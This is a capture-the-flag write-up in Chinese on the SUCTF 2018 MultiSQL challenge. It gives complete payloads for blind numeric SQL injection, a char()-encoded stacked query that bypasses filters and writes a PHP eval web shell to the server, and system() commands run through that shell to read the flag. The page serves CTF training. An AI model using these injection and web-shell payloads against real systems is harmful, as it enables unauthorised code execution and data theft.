[SUCTF 2018]MultiSQL1

进去题目页面如下

发现可能注入点只有登录和注册,那么我们先注册一个用户,发现跳转到了/user/user.php

查看用户信息,发现有传参/user/user.php?id=1

用?id=1 and 1=1,和?id=1 and 1=2,判断为数字型注入

原本以为是简单的数字型注入,看到大佬说,结果flag不在数据库当中,需要利用注入getshell,链接如下,跟着大佬的方法试一试

BUUCTF:[SUCTF 2018]MultiSQL-CSDN博客

构造payload

复制代码
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/user/user.php?id=2^(if(ascii(mid(user(),1,1))>0,0,1))

通过burp suite的intruder模块进行关键字爆破,看看过滤了哪些关键字

发现过滤了union,select ,&等,故使用char()绕过,语句为

select '<?php eval($POST[]);?>' into outfile '/var/www/html/favicon/shell.php';

可以利用这个工具转换为十进制

文本转十进制-在线免费文本转十进制工具-即时工具

构造payload。getshell

复制代码
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/user/user.php?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

最后访问

复制代码
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/favicon/shell.php

查看shell,再利用post传参

_system("cd /;ls;echo '<br>';cat WelL_Th1s_14_fl4g");

最后得到flag

相关推荐
q***71017 小时前
SQL注入(SQL Injection)攻击原理与防御措施
数据库·sql·oracle
f***R87 小时前
解决bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException
java·数据库·sql
T***19207 小时前
实操解决Navicat连接postgresql时出现‘datlastsysoid does not exist‘报错的问题
数据库·postgresql
·云扬·7 小时前
Redis性能测试实战:掌握redis-benchmark工具用法与集群压测技巧
数据库·redis·缓存
2401_837088508 小时前
秒杀优化—基于 Redis 完成秒杀下单
数据库·redis·缓存
爬山算法8 小时前
Redis(144)Redis的Cluster的节点通信是如何实现的?
数据库·redis·缓存
AI绘画小338 小时前
Web 安全核心真相:别太相信任何人!40 个漏洞挖掘实战清单,直接套用!
前端·数据库·测试工具·安全·web安全·网络安全·黑客
shmexon8 小时前
上海兆越亮相无锡新能源盛会,以硬核通信科技赋能“能碳未来”
网络·人工智能
北京耐用通信9 小时前
告别“牵一发而动全身”:耐达讯自动化Profibus PA分线器为石化流量计网络构筑安全屏障
人工智能·网络协议·安全·自动化·信息与通信
I***26159 小时前
数据库操作与数据管理——Rust 与 SQLite 的集成
数据库·rust·sqlite